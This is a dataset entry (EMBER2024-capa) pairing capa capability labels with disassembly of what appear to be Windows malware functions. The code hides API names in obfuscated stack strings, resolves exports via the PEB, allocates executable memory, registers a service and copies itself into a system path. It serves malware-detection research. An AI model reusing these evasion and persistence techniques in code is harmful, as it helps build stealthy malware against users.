joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10014a60
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get ntdll base address
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1001ebb8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
mov esi, ecx
mov dword [esp + 4], esi
mov dword [esi], 0x10003ef8
lea eax, [esi + 0x10]
push 0
push eax
mov dword [esp + 0x3c], 0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov al, 0x45
mov cl, 0x74
mov byte [esp + 9], al
mov byte [esp + 0xc], al
mov dl, 0x69
mov al, 0x6c
mov byte [esp + 0x1b], cl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x1a], dl
mov byte [esp + 0x20], dl
lea ecx, [esp + 0x18]
mov byte [esp + 0x12], al
mov byte [esp + 0x13], al
mov byte [esp + 0x23], al
lea edx, [esp + 8]
mov al, 0x65
push ecx
push edx
mov byte [esp + 0x10], 0x4b
mov byte [esp + 0x12], 0x52
mov byte [esp + 0x13], 0x4e
mov byte [esp + 0x15], 0x4c
mov byte [esp + 0x16], 0x33
mov byte [esp + 0x17], 0x32
mov byte [esp + 0x18], 0x2e
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1c], 0
mov byte [esp + 0x20], 0x57
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x24], 0x46
mov byte [esp + 0x25], 0x6f
mov byte [esp + 0x26], 0x72
mov byte [esp + 0x27], 0x53
mov byte [esp + 0x29], 0x6e
mov byte [esp + 0x2a], 0x67
mov byte [esp + 0x2c], al
mov byte [esp + 0x2d], 0x4f
mov byte [esp + 0x2e], 0x62
mov byte [esp + 0x2f], 0x6a
mov byte [esp + 0x30], al
mov byte [esp + 0x31], 0x63
mov byte [esp + 0x33], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esi + 0x2c]
push 0xffffffffffffffff
push ecx
call eax
mov edx, dword [esi + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
mov dword [esp + 0x34], 0xffffffff
call fcn.1000f190
mov ecx, dword [esp + 0x2c]
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret
Function at 0x10014d90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x24
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push esi
mov esi, ecx
push edi
push 0
lea edi, [esi + 0x10]
push edi
call ebp
mov al, 0x45
mov cl, 0x74
mov byte [esp + 0xd], al
mov byte [esp + 0x10], al
mov al, 0x6c
mov byte [esp + 0x1f], cl
mov byte [esp + 0x16], al
mov byte [esp + 0x17], al
mov byte [esp + 0x27], al
mov al, 0x65
mov byte [esp + 0x28], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x2e], cl
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xc]
mov dl, 0x69
push eax
push ecx
mov byte [esp + 0x14], 0x4b
mov byte [esp + 0x16], 0x52
mov byte [esp + 0x17], 0x4e
mov byte [esp + 0x19], 0x4c
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x20], 0
mov byte [esp + 0x24], 0x57
mov byte [esp + 0x25], 0x61
mov byte [esp + 0x26], dl
mov byte [esp + 0x28], 0x46
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], 0x53
mov byte [esp + 0x2c], dl
mov byte [esp + 0x2d], 0x6e
mov byte [esp + 0x2e], 0x67
mov byte [esp + 0x31], 0x4f
mov byte [esp + 0x32], 0x62
mov byte [esp + 0x33], 0x6a
mov byte [esp + 0x35], 0x63
mov byte [esp + 0x37], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi + 0x2c]
push 0xffffffffffffffff
push edx
call eax
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x38]
push 1
push edi
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], ecx
call ebp
push 1
push 0
push 0
push esi
push 0x10014ea0
push 0
push 0
call fcn.10013380
add esp, 0x1c
mov dword [esi + 0x2c], eax
pop edi
pop esi
pop ebp
add esp, 0x24
ret 8
Function at 0x10015d10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x40
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + 0x48]
mov dword [esp + 0x28], eax
mov edx, dword [esp + 0x4c]
mov al, 0x41
mov dword [esp + 0x30], ecx
mov byte [esp], al
mov byte [esp + 3], al
mov al, 0x6c
mov cl, 0x65
mov byte [esp + 0xa], al
mov byte [esp + 0xb], al
mov al, 0x74
mov byte [esp + 0x11], cl
mov byte [esp + 0x12], al
mov byte [esp + 0x1b], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x14], cl
mov byte [esp + 0x19], cl
lea eax, [esp + 0x10]
mov dword [esp + 0x38], edx
lea ecx, [esp]
mov dl, 0x53
push eax
push ecx
mov dword [esp + 0x2c], 0x20
mov dword [esp + 0x34], 4
mov dword [esp + 0x3c], 0
mov dword [esp + 0x44], 0x3e8
mov byte [esp + 9], 0x44
mov byte [esp + 0xa], 0x56
mov byte [esp + 0xc], 0x50
mov byte [esp + 0xd], 0x49
mov byte [esp + 0xe], 0x33
mov byte [esp + 0xf], 0x32
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x14], 0
mov byte [esp + 0x18], dl
mov byte [esp + 0x1b], dl
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x76
mov byte [esp + 0x1f], 0x69
mov byte [esp + 0x20], 0x63
mov byte [esp + 0x22], dl
mov byte [esp + 0x24], 0x61
mov byte [esp + 0x26], 0x75
mov byte [esp + 0x27], 0x73
mov byte [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x100208e8]
lea edx, [esp + 0x24]
push edx
push ecx
call eax
add esp, 0x40
ret
Function at 0x10015f20
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x54
push ebx
push esi
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 0x38]
rep stosd dword es:[edi], eax
mov eax, dword [0x100208a4]
xor ebx, ebx
push 0x7f04
push eax
mov dword [esp + 0x40], 2
mov dword [esp + 0x44], 0x10015f10
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], eax
call dword [0x10003d44]
mov dword [esp + 0x4c], eax
mov eax, dword [0x100208a4]
push 0x7f8b
push eax
call dword [fcn.10003da0]
push 2
mov dword [esp + 0x54], eax
call dword [0x10003cf8]
lea ecx, [esp + 0x38]
mov dword [esp + 0x54], eax
push ecx
mov dword [esp + 0x5c], 0x66
mov dword [esp + 0x60], 0x100026c8
call dword [0x10003d40]
mov eax, dword [0x100208a4]
push ebx
push eax
push 0x66
push eax
call dword [0x10003d3c]
push eax
push ebx
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x100026b4
push 0x100026c8
push ebx
call dword [0x10003d38]
mov esi, dword [esp + 0x68]
push 0x104
mov edx, dword [esi]
push edx
push 0x10020a2c
call dword [sym.imp.MSVCRT.dll_strncpy]
mov eax, dword [esi]
push 0x104
push eax
push 0x10020a2c
call dword [sym.imp.MSVCRT.dll_wcstombs]
mov dl, 0x6c
mov al, 0x65
add esp, 0x18
mov byte [esp + 0xc], 0x41
mov byte [esp + 0xd], 0x44
mov byte [esp + 0xe], 0x56
mov byte [esp + 0xf], 0x41
mov byte [esp + 0x10], 0x50
mov byte [esp + 0x11], 0x49
mov byte [esp + 0x12], 0x33
mov byte [esp + 0x13], 0x32
mov byte [esp + 0x14], 0x2e
mov byte [esp + 0x15], 0x64
mov byte [esp + 0x16], dl
mov byte [esp + 0x17], dl
mov byte [esp + 0x18], bl
mov byte [esp + 0x1c], 0x52
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], 0x67
mov byte [esp + 0x1f], 0x69
mov byte [esp + 0x20], 0x73
mov byte [esp + 0x21], 0x74
mov cl, 0x72
mov byte [esp + 0x2e], dl
mov byte [esp + 0x23], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x2d], cl
mov byte [esp + 0x35], cl
mov byte [esp + 0x33], dl
lea ecx, [esp + 0x1c]
lea edx, [esp + 0xc]
push ecx
push edx
mov byte [esp + 0x2a], al
mov byte [esp + 0x2c], 0x53
mov byte [esp + 0x2d], al
mov byte [esp + 0x2f], 0x76
mov byte [esp + 0x30], 0x69
mov byte [esp + 0x31], 0x63
mov byte [esp + 0x32], al
mov byte [esp + 0x33], 0x43
mov byte [esp + 0x34], 0x74
mov byte [esp + 0x37], 0x48
mov byte [esp + 0x38], 0x61
mov byte [esp + 0x39], 0x6e
mov byte [esp + 0x3a], 0x64
mov byte [esp + 0x3c], al
mov byte [esp + 0x3e], 0x41
mov byte [esp + 0x3f], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10015e10
push 0x10020a2c
call eax
push 1
push ebx
push 2
mov dword [0x100208e8], eax
call fcn.10015d10
push ebx
push ebx
push 4
call fcn.10015d10
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push 0x10017eb0
push ebx
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
push 0x10017770
push ebx
push ebx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x100021a0], eax
push ebx
push ebx
call fcn.10015a00
add esp, 8
push 0x3e8
call esi
jmp 0x1001613d
Function at 0x10016150
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov ebx, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x100161cf
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
cmp byte [esi + ebx], 0x5c
jne 0x100161bd
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call ebp
lea ecx, [esp + 0x1c]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x100161bd
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x1001618c
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x10016900
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push esi
push edi
push 0xf003f
push 0
push 0
call dword [fcn.10003cb8]
mov esi, eax
push 0xf003f
push 0x100021a8
push esi
call dword [fcn.10003cbc]
mov cl, 0x6c
mov edi, eax
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], cl
mov cl, 0x74
mov al, 0x41
mov byte [esp + 0x19], cl
mov byte [esp + 0x1c], cl
mov cl, 0x65
mov byte [esp + 8], al
mov byte [esp + 0xb], al
mov byte [esp + 0x24], al
mov byte [esp + 0x1e], cl
mov byte [esp + 0x23], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 8]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x11], 0x44
mov byte [esp + 0x12], 0x56
mov byte [esp + 0x14], 0x50
mov byte [esp + 0x15], 0x49
mov byte [esp + 0x16], 0x33
mov byte [esp + 0x17], 0x32
mov byte [esp + 0x18], 0x2e
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1c], 0
mov byte [esp + 0x20], 0x53
mov byte [esp + 0x22], 0x61
mov byte [esp + 0x23], dl
mov byte [esp + 0x25], 0x53
mov byte [esp + 0x27], dl
mov byte [esp + 0x28], 0x76
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2a], 0x63
mov byte [esp + 0x2d], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push edi
call eax
push esi
mov esi, dword [fcn.10003cc4]
call esi
push edi
call esi
pop edi
pop esi
add esp, 0x20
ret
Function at 0x10016cd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push 0x100026dc
call fcn.100169e0
mov ecx, dword [esp + 0x28]
add esp, 4
lea eax, [esp]
push eax
push 0xf003f
push 0
push ecx
push 0x80000002
call dword [fcn.10003cf0]
test eax, eax
je 0x10016d06
xor eax, eax
add esp, 0x20
ret
mov al, 0x6c
lea edx, [esp + 4]
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], al
mov al, 0x65
mov cl, 0x41
mov byte [esp + 5], al
mov byte [esp + 0xa], al
mov byte [esp + 0xc], al
lea eax, [esp + 0x10]
push edx
push eax
mov byte [esp + 0x18], cl
mov byte [esp + 0x19], 0x44
mov byte [esp + 0x1a], 0x56
mov byte [esp + 0x1b], cl
mov byte [esp + 0x1c], 0x50
mov byte [esp + 0x1d], 0x49
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x24], 0
mov byte [esp + 0xc], 0x52
mov byte [esp + 0xe], 0x67
mov byte [esp + 0xf], 0x53
mov byte [esp + 0x10], 0x61
mov byte [esp + 0x11], 0x76
mov byte [esp + 0x13], 0x4b
mov byte [esp + 0x15], 0x79
mov byte [esp + 0x16], cl
mov byte [esp + 0x17], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x28]
mov edx, dword [esp]
push 0
push ecx
push edx
call eax
mov eax, dword [esp]
push eax
call dword [fcn.10003c94]
mov eax, 1
add esp, 0x20
ret

Function at 0x10016dc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x28
push 0x100026f0
mov dword [esp + 8], 1
call fcn.100169e0
add esp, 4
mov edx, dword [esp + 0x2c]
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push 0x80000002
call dword [fcn.10003cc8]
test eax, eax
je 0x10016e09
xor eax, eax
add esp, 0x28
ret
mov al, 0x6c
mov cl, 0x41
mov byte [esp + 0x12], al
mov byte [esp + 0x13], al
mov al, 0x65
mov byte [esp + 8], cl
mov byte [esp + 0x19], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x21], al
mov byte [esp + 0x23], al
mov byte [esp + 0xb], cl
mov byte [esp + 0x25], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 8]
mov dl, 0x52
push eax
push ecx
mov byte [esp + 0x11], 0x44
mov byte [esp + 0x12], 0x56
mov byte [esp + 0x14], 0x50
mov byte [esp + 0x15], 0x49
mov byte [esp + 0x16], 0x33
mov byte [esp + 0x17], 0x32
mov byte [esp + 0x18], 0x2e
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1c], 0
mov byte [esp + 0x20], dl
mov byte [esp + 0x22], 0x67
mov byte [esp + 0x23], dl
mov byte [esp + 0x25], 0x73
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], 0x72
mov byte [esp + 0x2a], 0x4b
mov byte [esp + 0x2c], 0x79
mov byte [esp + 0x2e], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esp + 0x30]
mov ecx, dword [esp]
push 8
push edx
push ecx
call eax
test eax, eax
je 0x10016ec1
xor eax, eax
add esp, 0x28
ret
mov edx, dword [esp]
push edx
call dword [fcn.10003c94]
mov eax, 1
add esp, 0x28
ret
Function at 0x10016ee0
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, 0x10002754
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, 0x100021a8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x10002744
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.10016cd0
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x24]
push 0x10002738
push eax
call ebp
lea ecx, [esp + 0x90]
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.10016dc0
add esp, 0x1c
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push 0x10002728
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push 0x80000002
mov dword [esp + 0x38], 1
call dword [fcn.10003cc8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x1000241c
call edi
mov ebp, dword [fcn.10003ccc]
push eax
mov eax, dword [esp + 0x14]
push 0x1000241c
push 2
push ebx
push 0x1000271c
push eax
call ebp
push 0x10002710
call edi
mov ecx, dword [esp + 0x10]
push eax
push 0x10002710
push 1
push ebx
push 0x10002704
push ecx
call ebp
mov edx, dword [esp + 0x10]
push edx
call dword [fcn.10003c94]
lea eax, [esp + 0x7c]
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.10016cd0
lea edx, [esp + 0x84]
lea eax, [esp + 0x250]
push edx
push eax
call fcn.10016dc0
add esp, 0x10
lea ecx, [esp + 0x7c]
push ecx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x10017650
Capabilities:
Delete file
Get common file path

Disassembly:
call fcn.100173c0
test eax, eax
jne 0x1001765e
call fcn.10016ee0
call fcn.10017520
test eax, eax
jne 0x1001766c
jmp fcn.10017100
ret

Function at 0x10017670
Capabilities:
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x404
mov eax, dword [esp + 0x408]
push ebp
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x1001775a
push ebx
push edi
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0xc], 0
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x5005
xor edi, edi
idiv ecx
mov ebx, edx
test ebx, ebx
jle 0x10017736
push esi
mov edx, edi
and edx, 0x800003ff
jns 0x100176f7
dec edx
or edx, 0xfffffc00
inc edx
jne 0x10017718
xor esi, esi
call dword [sym.imp.MSVCRT.dll_rand]
add eax, esi
mov ecx, 0xff
cdq
idiv ecx
inc esi
cmp esi, 0x400
mov byte [esp + esi + 0x13], dl
jl 0x100176fb
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x1c]
push 0x400
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc edi
cmp edi, ebx
jl 0x100176e5
pop esi
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x10002520]
mov edx, dword [esp + 0x414]
and ecx, 0xffff
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop ebx
pop ebp
add esp, 0x404
ret
Function at 0x10017d00
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push ebx
push esi
push edi
jne 0x10017e98
push 0x37a
push 0x100021a8
call fcn.10017930
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov ebx, dword [esp + 0x224]
add esp, 0xc
push 0x104
push 0x100208f4
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
push 0x1000241c
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push 0x1000241c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x100208f4
mov edx, ecx
mov esi, edi
mov edi, 0x1000241c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x10017ddd
mov dword [0x100208a4], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10020894], eax
call fcn.1000e910
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
push 0x100027f4
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.1000d980
push 0x1000241c
call fcn.10016150
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push 0x1000241c
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, 0x100027c8
lea edi, [esp + 0x110]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x13c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x110]
push eax
call fcn.100161e0
add esp, 4
call fcn.10016ee0
call fcn.10017100
push 0x1000
push 0x1000241c
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x1000241c
push 0x100208f4
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x1000241c
call fcn.10017670
add esp, 4
call fcn.10016900
call fcn.100165e0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
Function at 0x4206fe
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x4207b2
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0042068e
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x42078b
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4207be
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x4207d9
test ebp, ebp
je 0x4207d9
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x4207e1
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x420821
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x42087d
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x420878
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x420863
test dl, dl
je 0x42085f
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x420863
add ecx, 2
add eax, 2
test dl, dl
jne 0x420843
xor eax, eax
jmp 0x420868
sbb eax, eax
or eax, 1
test eax, eax
je 0x420887
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x420830
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x42089e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.004206fe
test eax, eax
jne 0x4208b6
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.004207be
mov esi, eax
test esi, esi
jne 0x4208ec
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x420906
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret